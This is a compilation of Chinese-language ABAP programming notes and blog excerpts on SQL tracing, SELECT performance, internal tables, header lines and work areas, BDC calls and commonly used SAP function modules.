1、ST05是用于在开发ABAP程序时,对应事务码取得的字段是“数据结构”而不是“透明表”的时候,通过ST05的“SQL跟踪”来获得相关“Select”的语句;一般查看“REC”列耗时比较多的“Select”语句;
2、跟踪时如果有涉及到“数量”这类有对数据表进行更新或插入操作的,则直接去查Update和Insert的SQL语句;
3、在跟踪后,直接双击“对象名”列的名称,点选“表格字段”转到“SE11”的表字段表;
4、ABAP程序开头的Tables:“数据表名”,只有在屏幕中有用到的表,才需要声明;在程序中用到的表则不需要进行在Tables内声名;
5、抓SAP“文本”字段的数据,要先自定义变量,然后通过SE37的函数“FUNCTION ’ZREAD_TEXT’”取回文本数据;
6、新建的ABAP程序,在测试运行的时候要先进行“激活”,才能测试运行;
7、SE93:把ABAP写好的程序指定一个事务码执行;
8、abap引号内的字符’’必须要是大写;
9、ABAP select 里面的语句,不能像mssql有那么丰富的函数使用,需要导到内表后再对数据进行操作;
10、’EQ’是单个数据值,’BT’是between区间的意思。
11、在写select inner join 里面,要注意是否需要加上销售组织的条件;on 条件1 and 销售组织条件。
12、SELECTION-SCREEN,里面有两个子项,PARAMETERS和select-options。
PARAMETERS 一般是用于必输项的屏幕参数设置,如果这个参数不是必输项的,就要用select-options。在select ...where条件里,用PARAMETERS的条件语法是“数据字段 = 屏幕字段”;而select-options的条件语法是“数据字段 in 屏幕字段”。
13、在where判断一个日期型数据是空,不是DEAKT = ’’,也不是DEAKT is initial,而应该写成DEAKT = ’00000000’ (8个0)。
14、一对多的inner join,如果取出的数据有重复,前面加上distinct,用法和MSSQL相同。
15、sy-subrc,指上一个语句执行是否成功;执行成功返回0,执行不成功返回非0。用if判断。
16、如果一个语句中,该名称同时可能代表内表或者同名表工作区,则需要在内表名称之后加“[]”指明当前操作的是内表对象。不提倡使用带有表头行的内表,而是应该总是声明结构相同的其他数据对象作为显示工作区进行内表行操作。
如何调整ABAP程序的性能(copy)
1、使用where语句
不推荐
Select * from zflight.
Check : zflight-airln = ‘LF’ and zflight-fligh = ‘BW222’.
Endselect.
推荐
Select * from zflight where airln = ‘LF’ and fligh = ‘222’.
Endselect.
2、使用聚合函数
不推荐
Maxnu = 0.
Select * from zflight where airln = ‘LF’ and cntry = ‘IN’.
Check zflight-fligh > maxnu.
Maxnu = zflight-fligh.
Endselect.
推荐
Select max( fligh ) from zflight into maxnu where airln = ‘LF’ and cntry = ‘IN’.
3、使用视图代替基本表查询
不推荐
Select * from zcntry where cntry like ‘IN%’. [Page]
Select single * from zflight where cntry = zcntry-cntry and airln = ‘LF’.
Endselect.
推荐
Select * from zcnfl where cntry like ‘IN%’ and airln = ‘LF’.
Endselect.
4、使用INTO table 代替select endselect
不推荐
Refresh: int_fligh.
Select * from zflight into int_fligh.
Append int_fligh. Clear int_fligh.
Endselect.
推荐
Refresh: int_fligh.
Select * from zflight into table int_fligh.
5、使用批量修改内表代替逐行修改
不推荐
Loop at int_fligh.
If int_fligh-flag is initial.
Int_fligh-flag = ‘X’.
Endif.
Modify int_fligh.
Endloop.
推荐
Int_fligh-flag = ‘X’.
Modify int_fligh transporting flag where flag is initial.
6、使用二分法查询,提高查询内表数据速度
不推荐
Read table int_fligh with key airln = ‘LF’.
推荐
Read table int_fligh with key airln = ‘LF’ binary search.
7、两个内表添加使用批量增加代替逐行
不推荐
Loop at int_fligh1.
Append int_fligh1 to int_fligh2.
Endloop.
推荐
Append lines of int_fligh1 to int_fligh2.
8、使用table buffering
Use of buffered tables is recommended to improve the performance considerably. The buffer is bypassed while using the following statementsSelect distinct
Select … for update
Order by, group by, having clause
Joins
Use the Bypass buffer addition to the select clause in order to explicitly bypass the buffer while selecting the data.
9、 使用FOR ALL Entries
不推荐
Loop at int_cntry. Select single * from zfligh into int_fligh where cntry = int_cntry-cntry. Append int_fligh. Endloop.
推荐
Select * from zfligh appending table int_fligh
For all entries in int_cntry
Where cntry = int_cntry-cntry.
10、正确地使用where语句,使查询能使用索引When a base table has multiple indices, the where clause should be in the order of the index, either a primary or a secondary index
To choose an index, the optimizer checks the field names specified in the where clause and then uses an index that has the same order of the fields. One more tip is that if a table begins with MANDT, while an index does not, there is a high possibility that the optimizer might not use that index.
11、正确地使用MOVE语句
Instead of using the move-corresponding clause it is advisable to use the move statement instead. Attempt should be made to move entire internal table headers in a single shot, rather than moving the fields one by one.
12、正确地使用inner joinLet us take an example of 2 tables, zairln and zflight. The table zairln has the field airln, which is the airline code and the field lnnam, which is the name of the airline. The table zflight has the field airln, the airline code and other fields which hold the details of the flights that an airline operates. [Page]
Since these 2 tables a re logically joined by the airln field, it is advisable to use the inner join.
Select a~airln a~lnnam b~fligh b~cntry into table int_airdet
From zairln as a inner join zflight as b on a~airln = b~airln.
In order to restrict the data as per the selection criteria, a where clause can be added to the above inner join.
13、使用sort by 代替order by
14、避免使用SELECT DISTINCT语句
使用的 ABAP SORT + DELETE ADJACENT DUPLICATES 代替.
定义内表与工作区最方便的方法
*定义 名为 ITAB 的内表, 内表结构 参照表 TABLE 。
DATA: ITAB TYPE TABLE OF TABLE.
*定义 名为 WA 的工作区, 其 行结构与 内表 ITAB 相同 。
DATA: WA LIKE LINE OF ITAB.
----------------------------------------------------------------
1.使用occurs 0,定义的不再是对象,而是internal table
2.使用with header line后缀,定义为internal table的同时也定义了一个同名对象,因此可以用以下语句:
LOOP AT STH.
WRITE: / STH.
ENDLOOP.
3.TYPE后面接结构,LIKE后面接对象
4.OBLIGATORY为必输字段
5.DATA SEPARATER . = DATA SEPARATER TYPE C.
6.关于内表的结构描述,它的当前记录数据是放在header line中的,Occurs 是分配数据缓冲区,大小不重要,系统会自动分配。但定义内表不用occurs就需要用with header line,occurs语句记得是为了向下兼容。
7.occurs 指明的數量是有一點學問的.
1.當你知道可能每次用Select命中或交換的紀錄數xxx時,可指明 occurs xxx.
2.如用occurs 0 聲明時, buffers 由系統自動分配.
8.SELECT 在into时记得一般都要加上table,不然是into一个工作区,即wa,而工作区要写入内表,则需要再append,所以直接定放内表即可,内表和工作区的区别就在于工作区就相当于表头,是有一行,data定义begin of itab时不加occurs就是工作区,加了就是内表,occurs *,后面表示系统初始分配给此内表多少行,每次满时再多分配多少行,我们平常为了节约内存,一般直接用0,with header line是为了定义含表头的内表,平常occurs就直接带表头,而with header line一般是在itab1 like itab occurs 0 with header line时用,这是参照一个内表定义另一内表,如果要带表头,一定要加with header line。
你这样问不是办法,最好不懂时直接接F1,查到SAP的帮助即可. check是检查后面的逻缉是否满足,不满足则在上例是跳出form,不的执行下面的语句。
说实在,初略的看了一下上面的程序,写得太烂了,竟然将usr01或usr03透明表中的字段按条件取到一个表工作区,竟然不加single,象这种不加single的select按理说应该是调不过的,必须在后面再对应一个endselect,而这种select加endselect用每次去读一次透明表,访问数据库的次数太多了,换个好一点程序自己研究吧。
SAP ABAP PA certification 培训笔记
P (4) 长度4个字节
Xstring (10) 长度为10个字节,可以容纳20个数字
大结构体与小结构体的兼容
Move 大 to 小 大的覆盖小的 大结构体的剩余部分保持不变
Move 小 to 大 匹配的部分 被小的覆盖, 其余的字段被初始化
P 类型 与 F类型的优缺点
P:计算精确,适合商业结算,但范围短
F:储存范围大,计算不精确
P 与 F 类型的运算方式
F IEEE 用二进制数进行运算
P 采用半字节储存一个数字的方式进行运算
字段 结构体 兼容问题
1. 字段兼容:类型和长度相同
2. 结构体:字段按顺序兼容,并且字段数相同
3. 内表兼容:行类型相同, KEY 兼容,表类型相同
如果字符串 move 到一个比字符串小的结构体 ,
[][][][] ---à [][]
[][]
一个字段 move 到一个 内表中
Internal table 内表.
1. 静态数据对象包括: 简单数据类型(除了string 和xstring 类型), 结构体(不包含string 和xstring 类型)
2. 动态数据对象:string , xstring , 包含string 或 xstring 的结构体, 内表
一个结构体是否可以包含STRING 或xstring, 如果可以 结构体可以拓展吗?
定义一个 只有一个字段的 内表 字段长度是c(18),
定义一个结构体 结构体里 包含三个字段, 类型 随意, 第二个类型,是另一个结构体
定义一个内表 内表的行类型 是第一个结构体.
再用第二个结构体定义一个内表 ,利用这个内表 作为行类型,做一个内表
内表的三个基本属性
1. line type 行类型
2. key definition 键类型
3. table kind 表类型
1) 在standard table 中 使用 table key的查找方式为 table scan 全表扫描
2) 在 sorted table 中使用table key 在遵循; left-aligned 从左至右匹配, no gaps 没有间隔,使用”=” 填充字段时, 使用 二分查找法 ,其它情况下 使用 table scan查找
3) 对hash表访问, 只能通过key访问单条记录, 访问的速度不依赖于表中的数据量,而在其余两种表中,查询的时间与表中数据量成正比
其它情况是否代表,只是顺序不符合left-aligned. 哈希表可以通过部分的key 进行访问吗?
定义内表
1. 定义一个局部内表类型,通过该类型定义内表变量
2. 直接定义字段 直接定义内表变量(隐藏了一个内表类型)
3. 通过全局内表类型定义内表变量
标准的定义内表语句
Types or DATA name
TYPE table_kind
OF line_type
WITH key_def
[INITIAL SIZE n.]
Table kind and key. 表类型 和 表键
注意:在定义standard类型的内表时,如果使用 WITH DEFAULT KEY. 系统会自动将内表中的字符类型字段(c,n,d,t,x,string,xstring)组合成table key.
内表的key
1. standard标准表: key 不唯一.
2. sorted排序表: 可以指定KEY是否唯一
3. Hash 哈希表: KEY必须是唯一
在内表中使用不是结构体类型的行类型
当内表的行类型只有一列的时候,需要使用pseudo-compnent 伪列,
用途:设置一个按钮工具栏,用只含有一列的内表.
对内表的操作
1. move对内表的拷贝
2. clear 将数据清空
3. free 释放内存
4. compare表之间的操作,比较
5. sort 排序表
6. array fetch
递归比较
1. 先对内表之间的行数进行比较
2. 如果有必有的话,还需要对行的组件进行比较
内表之间的比较
用行数比较, 有必要的话 可以 用内容比较
定义两个内表 两个 内表不兼容 一个有3个字段 一个有5个
对两个内表进行比较.
定义两个内表, 结构一样 , 变量不一样
全做成数字型字段
第一个 添加 小数字
第二个内表 添加大数字
排序可以指定升序降序.
对内表具体操作
1. Insert 插入
2. Read 读取
3. Change 修改
4. Delete 删除
5. Insert summated collect. 插入累计
对内表中的数据行进行限制条件操作
对数据的访问
一、单条数据访问
1) 通过 table key访问
2) 通过 line index 访问(对于line index 类型内表)
3) 通过 condition条件访问
二、多条数据访问
1) 通过condition条件访问
2) 通过 index interval 通过行区间访问
指定访问数据的传输方式
1. 使用 结构体 work area 进行 copy 对内表数据进行操作
2. 定义 field symblo 指针 指向访问数据,(可以直接访问数据)
3. 通过将内表插入内表的操作
重要: 不能通过line index 对hash 表 进行访问, 在排序表中插入数据.除非插入的位置 正好是排序表中规定的位置,否则会出现 运行期异常(强烈不推荐使用insert往 sorted b表中插入数据)
Field symbol 指针
作用: 直接对内表进行操作,而不用再重新定义结构体对目标内表数据进行拷贝, 增大了效率.
定义指针语法:
Data: var_a TYPE I VALUE 4.
FIELD-SYMBOLS: <fs> TYPE i.
ASSIGN var_a TO <fs>.
<fs> = 77.
重要: 定义的指针名,必须加”<>”
Insert 插入操作
一、 单条数据的插入操作
1) 标准表: 可以使用 index (推荐) 和 table key 方式插入
2) 排序表: 可以通过 table key方式插入 , 但也可以用index插入(强烈不推荐, 很有可能出现运行错误)
3) Hash表: 只能够用table key 方式插入
二、 多条记录的插入
1) 源内表为 index table : 则可以指定源内表的数据范围,并插入到目标内表中
2) 目标内表为index table: 则可以可以指定目标内表被插入数据的具体index 位置.
具体的语句插入语法:
Insert wa INTO TABLE itab. 单条插入不指定位置
Insert wa INTO itab INDEX n. 单条插入指定插入位置
INSERT LINES OF itab1
[from n1 to n2]
INTO TABLE itab2.
INTO itab2 [ INDEX n]
读取 内表的一条 将数据 读到结构体中
如果系统独到行 sy-subrc = 0 . 然后读取到结构体中,
Sy-tfill 存放总行数
Sy-tleng 行的长度
Transporting
指定特定列 传输字段 , 传送部分字段
TRANSPORTING NO Fields 不传值, 作用 ,看内表中 有没有 这条数据
Camparing
有一个结构体 和内表
C1 C2 C3
Lh 0019 17
Lh 0018 18
通过comparing 后的值, 可以判断读取的值是否符合要求.
现在结构体中需要比较的字段赋值,
先判断 相应字段是否相等
回去做个练习
比较成功 sy-subrc = 0
Zmycompare_2009
用一个结构作为 查询条件,
到内表查询符合条件的数据
With key 可以用 table key 或 普通字段作为条件
使用field symbol
通过一个内表 定义一个 结构体 作为 指针
Read table itab [index n / key ] assigning <fs>.
Write: / <fs>-field_1.
直接修改 <fs> 的值 会怎么样?
Change 修改内表
Transporting 的 传输方向
通过 field symbol
直接修改 内表
重要: 不能直接指针对sorted 和 hash表进行操作
Delete
Delete table itab key
Key: from wa ()
With table key k1 = f1….
不能用sort 对排序表进行排序
对 sorted 表进行 insert modify , 使用不当 可能会出错
HASH表不能通过 index 进行操作
Header line
With head line 关键字定义 废弃用法
Occur + 整数, 10 ,
Occur 0 , 默认大小,
Occur 0 with head line 废弃用法了
重要: 在面向环境中 不能用带有 head line 的内表
Data: so_carr LIKE RANGE OF carrid.
Loop 内表
Where 条件 从起始点二分查找
标准表 可以部分指定顺序
From 1 to 5
对于一个标准表来说, 加上二分查找 是不是 先排序
先把标准表 排序, 然后再二分
必须先手工排序,再进行二分查找
sap abap programming---关于ABAP内表(about abap internal table)
1. 内表的类型及定义:
(1).ANY TABLE:即任意表类型,此种定义方式只能在传递参数的时候定义。
例如:FORM XXX USING/CHANGING TYPE ANY TABLE .
(2).ANY TABLE包括了两种类型:INDEX TABLE和HASHED TABLE 。
《1》.INDEX TABLE:包括了STANDARD TABLE和SORTED TABLE
A. STANDARD TABLE:其实就是一个线性表,通过key访问内表是线性查找的,也就是说,随着表中记录的增加,对表的
操作的时间开销也相应的增加。
定义方法:TYPES/DATA: LIKE/TYPE STANDARD TABLE OF .
B. SORTED TABLE:顾名思义,表中的记录是按照一定的顺序排列的。访问表的主要方式是表中定义的key,如果key不唯
一,则选择index最小的那个。也可以通过index来访问排序表,如果你想通过index插入一条记录,系统会自动检查你插入的
位置是否正确。所以,如果插入的时间比插入到标准表的时间会长。因此,尽量选择key来对排序表进行操作。
定义方法:TYPES/DATA: LIKE/TYPE SORTED TABLE OF .
《2》.HASHED TABLE:对哈希表只能用你定义的key进行操作,而不能使用index进行操作。因此,定义哈希表必须定义unique
key 。注意:所有关于使用index操作表的语句都不能用于操作哈希表。例如:sort,loop等。
定义方法:TYPES/DATA: LIKE/TYPE HASHED TABLE OF .
2. 内表的操作:
(1).创建:
A. 定义一个结构,然后type/like这个结构
例如:
TYPES: BEGIN OF ,
...
i> ...,
...
END OF .
DATA TYPE STANDARD TABLE OF
WITH NON-UNIQUE DEFAULT KEY
INITIAL SIZE
WITH HEADER LINE.
B. type/like系统表或者数据库表或者结构
DATA TYPE STANDARD TABLE OF <系统表名>
INITIAL SIZE
WITH HEADER LINE.
(2).添加数据:
A.APPEND:直接向表中添加数据
1. APPEND [wa TO|INITIAL LINE TO] itab[ASSIGNING |REFERENCE INTO dref].
2. APPEND LINES OF itab1 [FROM idx1] [TO idx2] TO itab2.
3. APPEND [wa TO] itab SORTED BY f [ASSIGNING
B.向表中插入数据:
1. INSERT [wa INTO|INITIAL LINE INTO] itab [INDEX idx] [ASSIGNING |REFERENCE INTO dref].
2. INSERT [wa INTO|INITIAL LINE INTO] TABLE itab [ASSIGNING |REFERENCE INTO dref].
3. INSERT LINES OF itab1 [FROM idx1] [TO idx2] INTO itab2 [INDEX idx3].
4. INSERT LINES OF itab1 [FROM idx1] [TO idx2] INTO TABLE itab2.
C.相同字段求和向表里添加:
Basic form
COLLECT [wa INTO] itab.
Extras:
1. ... ASSIGNING
2. ... REFERENCE INTO dref
3. ... SORTED BY f
(3).删除数据:
1. DELETE itab.
2. DELETE TABLE itab WITH TABLE KEY k1 = v1 ... kn = vn.
3. DELETE TABLE itab [FROM wa].
4. DELETE itab INDEX idx.
5. DELETE itab FROM idx1 TO idx2.
6. DELETE itab WHERE logexp.
7. DELETE ADJACENT DUPLICATES FROM itab.
(4).修改数据:
1. MODIFY itab [FROM wa] [INDEX idx] [ASSIGNING |REFERENCE INTO dref] [TRANSPORTING f1 ... fn].
2. MODIFY TABLE itab [FROM wa] [ASSIGNING |REFERENCE INTO dref] [TRANSPORTING f1 ... fn].
3. MODIFY itab [FROM wa] TRANSPORTING f1 ... fn WHERE cond.
sap --- ABAP 内表(internal table) 标题行(header line) 工作区(work area) 简介 OCCURS 0
刚开始学ABAP的时候,学到iternal table时,感觉一阵混乱.
搞不清楚什么是work area,什么是header line,以及occurs是干什么用的.
今天终于差不多搞明白了(我还是太弱啊...BS自己一下)
所以还是记录下来..省得自己以后再忘记...
先是用TYPES关键字定义一个行(row)的类型.如下:
TYPES: BEGIN OF line,
field1 TYPE i,
field2 TYPE i,
END OF line.
这里的line,就相当于一个自定义的类型,表示一行(row)的字段(field).
这里一行有两个字段field1和field2.
然后是声明一个work area:
DATA wa TYPE line.
我用C++(还是对cpp最有好感^^)的概念理解就是,
line是一个class,而wa是一个object.
接着是声明一个每一行的类型是line的internal table:
DATA itab TYPE line OCCURS 0.
我在暂时把OCCURS作为了区别工作区和内表的标志.
OCCURS应该有更深层次的意义,但我目前只能领悟至此...
当我们用以上这个方法来声明一个iternal table时,可以选择是否有无header line.
上面这句就是没有header line的.改成如下就有了:
DATA itab TYPE line OCCURS 0 WITH HEADER LINE.
有无header line的区别就是,header line可以当作一个work area来使用(参照我之前的一个日志).
有一下两种方式操作itab:
1).
wa-field1 = 1.
wa-field2 = 2.
APPEND wa TO itab.
2).
itab-field1 = 1.
itab-field2 = 2.
APPEND itab.
这里wa就是上面那个已经定义的work area.
有header line的时候,这两种都可以.
无header line的时候,只能用第1种.
第2种里,itab的意义是一个header line,而不是内表.
因为"DATA itab TYPE line OCCURS 0 WITH HEADER LINE."这样的声明,
已经隐式声明了一个与内表同名的header line.
所以OCCURS用来声明内表可能造成二义性(ambiguous).
于是,OCCURS被认为是old的东西,采用一下方式声明一个内表比较好:
DATA itab TYPE STANDARD TABLE OF line.
还有一种声明内表的方法:
DATA: BEGIN OF itab OCCURS 0,
field1 TYPE i,
field2 TYPE i,
END OF itab.
这样的itab就自动有了一个同名的header line.
好像不会有 WITHOUT HEADER LINE 或者 NOT WITH HEADER LINE 这样的用法...
如果没有OCCURS 0,比如这样:
DATA: BEGIN OF itab,
field1 TYPE i,
field2 TYPE i,
END OF itab.
那么这个itab就不是内表咯,只是一个structure,可以作为itab的work area.
写到这里发现,归根到底就是TYPES和DATA这两个关键字的区别嘛.
还有有无OCCURS的区别.
这样一想,简单明了~~
OCCURS 是在3.0以前申明内表的关键字。意思是内表初始的时候有多少行。现在不提倡使用。看到了认识就行。
=======================================================
ABAP Work Area & Header Line -
1. Difference between Work Area and Header Line
工作区与标题行的不同之处
原文地址:
http://www.sap-img.com/abap/difference-between-work-area-and-header-line.htm
我翻译下,嘿嘿
在对内表进行一些操作的时候,比如增加或者取回一条记录.我们必须暂时保存这条记录.
这条记录就保存在内表的工作区里(work area).内表的工作区必须和内表有相同的结构.
内表由主体(body)和一个可选的标题行(head line)组成.
标题行是一个隐式的(implicit)工作区.在内表声明的时候,可以选择有无标题行.
e.g.
data: begin of itab occurs 10,
ab type c,
cd type i,
end of itab.
这样的内表itab,是有标题行的.
data: wa_itab like itab.
这样的wa_itab是显式(explicit)声明的一个itab的工作区.
data: itab1 like itab occurs 10.
这样的内表itab1,是没有标题行的.
标题行是一个和内表主体有着一样结构的字段的串,标题行只有一行.
所以,标题行相当于一个缓冲区(buffer),用于存放被操作的纪录,是内表的缺省的工作区.
2. Using Header Lines as Work Areas
把标题行当工作区来使用
原文地址:
http://help.sap.com/saphelp_nw04/helpdata/en/fc/eb36a1358411d1829f0000e829fbfe/content.htm
我再翻译下...
当你在创建一个内表的时候,你同时也声明了一个具有相同名称的标题行(这个好像很奇特的样子么...).可以把这个标题行当作工作区来对内表进行操作.
如果一个内表有标题行,则对其进行操作的ABAP语句会简短一些,因为这些语句会自动认为标题行是一个隐式的工作区.语句的不同如下表:
Operations without header line
Operations with header line
Operations for all Table Types
INSERT INTO TABLE .
INSERT TABLE ITAB.
COLLECT INTO .
COLLECT .
READ TABLE ... INTO .
READ TABLE ...
MODIFY TABLE FROM ...
MODIFY TABLE ...
MODIFY FROM ...WHERE ...
MODIFY ... WHERE ...
DELETE TABLE FROM .
DELETE TABLE .
LOOP AT ITAB INTO ...
LOOP AT ITAB ...
Operations for Index Tables
APPEND TO .
APPEND .
INSERT INTO ...
INSERT ...
MODIFY FROM ...
MODIFY ...
但是,用隐式的工作区,代码难以被理解,所以还是用一个不同名称的工作区比较好.
=======================================================
沟通再沟通
msn:erp.expert@hotmail.com
sap abap---通过例子学习ABAP--初始化内表 清空内表
初始化内表的作用是清空内表所有的数据行,将内表恢复到填充或赋值之前的状态。初始化内表过程中需要注意之处仍然是初始化无 表头行内表和有表头行内表的区别,以及初始化内表和表头行的区别。
(1)CLEAR ITAB. 同时清空表头和行内表的值
(2)CLEAR ITAB. 只清空内表本身的值,保留表头行的值。
(3)REFRESH I TAB 只清空内表本身的值,保留表头行的值。
(4)FREE ITAB. 只清空内表本身的值,保留表头行的值。
DATA: BEGIN OF line,
col1(1) TYPE c,
col2(1) TYPE c,
END OF line.
DATA itab LIKE TABLE OF line WITH HEADER LINE.
line-col1 = 'A'. line-col2 = 'B'.
APPEND line TO itab.
loop at itab.
write : itab-col1.
endloop.
clear itab. "在这里可以尝试CLEAR ITAB[],FREE ITAB,REFRESH ITAB,看看效果是不是如上所说这样。
IF itab IS INITIAL.
WRITE 'ITAB is empty'.
ENDIF.
很多程序BUG,就是这一类 不起眼的东西引起的~
*********************************************************************
*-------- Clear & Refresh Internal Table. -------------------------
*********************************************************************
1. with headerline.
CLEAR itab. : Clear the headerline of the Internal Table only.
CLEAR itab[]. : Clear the contents of the Internal Table except the headerline.
REFRESH itab. : Same as CLEAR itab[].
REFRESH itab[]. : Same as CLEAR itab[].
2. without headerline. ( all four commands have same functionality )
CLEAR itab. : Clear all contents of the Internal Table.
CLEAR itab[]. : Same as CLEAR itab.
REFRESH itab. : Same as CLEAR itab.
REFRESH itab[]. : Same as CLEAR itab.
如何一次性的给内表的一列赋值,不用LOOP循环来做,比如把第一列都给设置成空.
CLEAR 对应工作区清空
MODIFY 内表 FROM 内表对应工作区
TRANSPORTING 修改字段
WHERE 修改字段 <> SPACE.
MODIFY itab [FROM wa] TRANSPORTING f1 ... fn WHERE cond
这句话的意思是凡是内表itab中满足条件cond的记录都被工作区wa的数据修改,修改的字段是f1...fn
sap abap programming----CALL TRANSACTION USING bdc_tab for Data Transfer
http://help.sap.com/saphelp_sm32/helpdata/en/fa/09715a543b11d1898e0000e8322d00/frameset.htm
DATA: it_bdcdata TYPE TABLE OF bdcdata,
wa_bdcdata TYPE bdcdata.
wa_bdcdata-program = 'SAPLBTCH'.
wa_bdcdata-dynpro = '2170'.
wa_bdcdata-dynbegin = 'X'.
APPEND wa_bdcdata TO it_bdcdata.
CLEAR wa_bdcdata.
wa_bdcdata-fnam = 'BTCH2170-JOBNAME'.
wa_bdcdata-fval = '*'.
APPEND wa_bdcdata TO it_bdcdata.
wa_bdcdata-fnam = 'BTCH2170-USERNAME'.
wa_bdcdata-fval = sy-uname.
APPEND wa_bdcdata TO it_bdcdata.
CALL TRANSACTION 'SM37' USING it_bdcdata.
--------------------------------------------------------
Submit to executable program via selection options
--------------------------------------------------------
SUBMIT zrmm0001 VIA SELECTION-SCREEN
AND RETURN
WITH p_matnr = itab-matnr
WITH p_werks = itab-werks
WITH p_lgort = itab-lgort
WITH s_charg = itab-charg
WITH p_num = p_label
WITH p_dest = p_print.
----------------------------------------------------------
Submit to program which not has selection screen
----------------------------------------------------------
SET PARAMETER ID 'RBN' FIELD S_ARSEG-BELNR.
SET PARAMETER ID 'GJR' FIELD S_ARSEG-GJAHR.
CALL TRANSACTION 'MIR4' AND SKIP FIRST SCREEN.
sap abap programming----execute--Call Underlying Database Store Procedure in ABAP
摘自sapguys.cn群中Robbin和徐的交流
1. 配置个外部DB, T-code为: DB59, DB50N, 测试连接
2. 执行Native SQL
eg:
EXEC SQL.
EXECUTE PROCEDURE EAI_ETL_CONTROL(IN :XX1,IN :XX2,IN :wa_datet_update,IN :XX3,OUT :YY1)
ENDEXEC.
sap ABAP 常用函数(sap abap function)
RS_VARIANT_VALUES_TECH_DATA
可以返回一个内表, 里面存的是PARAMETER SELECT-OPTION的名字 以及对应的值. 可用于background job中对vaiant的修改.
函数名 描述
SD_VBAP_READ_WITH_VBELN 根据销售订单读取表vbap中的信息
EDIT_LINES 把READ_TEXT返回的LINES中的行按照TDFORMAT=“*”重新组织
VIEW_MAINTENANCE_CALL 维护表视图
函数名 描述
DY_GET_FOCUS 获得屏幕焦点
DY_GET_SET_FIELD_VALUE 获得或者设置屏幕字段的值
函数名 描述
F4IF_INT_TABLE_VALUE_REQUEST 显示检索help
READ_TEXT 读取长文本
CONVERSION_EXIT_CUNIT_OUTPUT 单位转换
SJIS_DBC_TO_SBC 全角转半角
SJIS_SBC_TO_DBC 半角转换为全角
CO_R0_CHECK_DECIMAL_POINT 根据单位检查数据的小数位
POSTAL_CODE_CHECK 检查邮政编码
函数名 描述
CONVERSION_EXIT_ALPHA_INPUT 全数字则在前面补0
CONVERSION_EXIT_ALPHA_INPUT 和上面相反
GET_JOB_RUNTIME_INFO 获得job相关信息
TERMINAL_ID_GET 获得端末id
DATE_CONVERT_TO_FACTORYDATE 把输入日期转为工厂日历日期
MESSAGE_TEXT_BUILD 把消息转为文本
函数名 描述
POPUP_TO_CONFIRM 弹出确认窗口
函数名 描述
CONVERSION_EXIT_MATN1_INPUT 物料号码转换函数
CONVERSION_EXIT_MATN1_OUTPUT 同上相反
CONVERT_TO_LOCAL_CURRENCY 按照指定日期汇率转换金额为指定货币类型
SSF_FUNCTION_MODULE_NAME 根据form名取得对应的函数名(SmartForm)
函数名 描述
DATE_CHECK_PLAUSIBILITY 日期CHECK
cl_gui_frontend_services=>gui_upload 上传到服务器
cl_gui_frontend_services=>gui_download 下载到服本地
SSF_FUNCTION_MODULE_NAME SMARTFORMS输出报表时,生成一个函数名称,然后CALL这个名称
函数名 描述
POPUP_TO_DECIDE_LIST 弹出供选择窗口
ABAP_DOCU_DOWNLOAD – 以HTML格式下载ABAP文档。
ARFC_GET_TID – 以十六进制形式返回终端的IP地址。
BAL_* -容纳了SAP的应用程序日志所有的函数模块。
BP_EVENT_RAISE –在 ABAP/4 程序中触发一个事件。
BP_JOBLOG_READ –获得job log的执行结果。
CLOI_PUT_SIGN_IN_FRONT – 将负号前置, SAP默认将负号放在数字后面。
CLPB_EXPORT –从内表导入到剪贴板。
CLPB_IMPORT – 从剪贴板导入内表。
COMMIT_TEXT -To load long text into SAP 。
CONVERSION_EXIT_ALPHA_INPUT - 数字串前补0
example:
input = 123
output = 0000000000000。。。000000000000123
CONVERSION_EXIT_ALPHA_OUTPUT – 消除数字串前的0
example:
input = 00000000000123
output = 123
CONVERT_OTF – 将SAP文档(SAP Script)转换成其他类型。
example:
CALL FUNCTION 'CONVERT_OTF'
EXPORTING
FORMAT = 'PDF'
IMPORTING
BIN_FILESIZE = FILE_LEN
TABLES
OTF = OTFDATA
LINES = PDFDATA
EXCEPTIONS
ERR_MAX_LINEWIDTH = 1
ERR_FORMAT = 2
ERR_CONV_NOT_POSSIBLE = 3
OTHERS = 4.
DATE_GET_WEEK – 返回一个日期所在的周数。
DATE_CHECK_PLAUSIBILITY – 检查一个日期是否是SAP的有效格式。
DYNP_VALUES_READ – 读取SCREEN字段的值,也可以用来读取报表SELECTION SCREEN。
DYNP_VALUES_UPDATE -更新屏幕字段的值。
ENQUE_SLEEP –在继续处理之前等待一个指定的时间。
ENQUEUE_ESFUNCTION – 锁定一个ABAP程序使它不可以被执行:
RELID = 'ZZ'
SRTF2 = 0
SRTF = (your report name)
注意不要用SY-REPID来传递你的报表名字,当把SY-REPID作为参数传递给函数模块的时候,SY-REPID的值实际上已经发生了变化。
EPS_GET_FILE_ATTRIBUTES – 获得文件属性。
EPS_GET_DIRECTORY_LISTING – 返回一个本地或网络目录的文件列表。
F4_DATE - 弹出一个窗口显示一个日历允许用户选择一个日期。
F4IF_SHLP_EXIT_EXAMPLE – F4接口模块。
FILENAME_GET – 弹出一个文件选择对话框。
DATA out(60) TYPE c.
CALL FUNCTION 'FILENAME_GET'
EXPORTING
filename = 'c:\1.txt'
title = 'GET FILENAME'
IMPORTING
filename = OUT.
FTP_CONNECT – 打开并登陆FTP服务器的连接。
FTP_COMMAND – 在FTP服务器上执行一个命令。
FTP_DISCONNECT –关闭指向FTP服务器的连接。
FORMAT_MESSAGE - Takes a message id and number, and puts it into a variable。 Works better than WRITE_MESSAGE, since some messages use $ as a place holder, and WRITE_MESSAGE does not accommodate that, it only replaces the ampersands (&) in the message。
GET_GLOBAL_SYMBOLS – 返回一个程序的tables, select options, texts, etc 。甚至包含selection screen的文本定义。
GET_INCLUDETAB – 获得一个程序的INCLUDES列表。
GUI_CREATE_DIRECTORY –在显示服务器端创建一个目录 。
GUI_DELETE_FILE – 在显示服务器端删除一个文件 。
GUI_DOWNLOAD – 从应用服务器下载内表到显示服务器。
GUI_EXEC – 调用一个文件或程序,取代了WS_EXECUTE。
GUI_GET_DESKTOP_INFO – 获得客户端桌面信息,取代了WS_QUERY。
GUI_REMOVE_DIRECTORY – 从显示服务器删除一个目录 。
GUI_RUN – 启动一个文件或程序 。
GUI_UPLOAD – 从显示服务器上传文件到应用服务器,取代了WS_UPLOAD。
HELP_START – 为一个字段显示帮助。 Useful for doing AT SELECTION SCREEN ON VALUE REQUEST for those fields that do not provide F4 help at the DDIC level。
HOLIDAY_GET – 基于Factory Calendar&/ Holiday Calendar提供了一个节日表。
INIT_TEXT –上传长文本到SAP。
K_WERKS_OF_BUKRS_FIND – 返回一个特定公司代码的所有工厂。
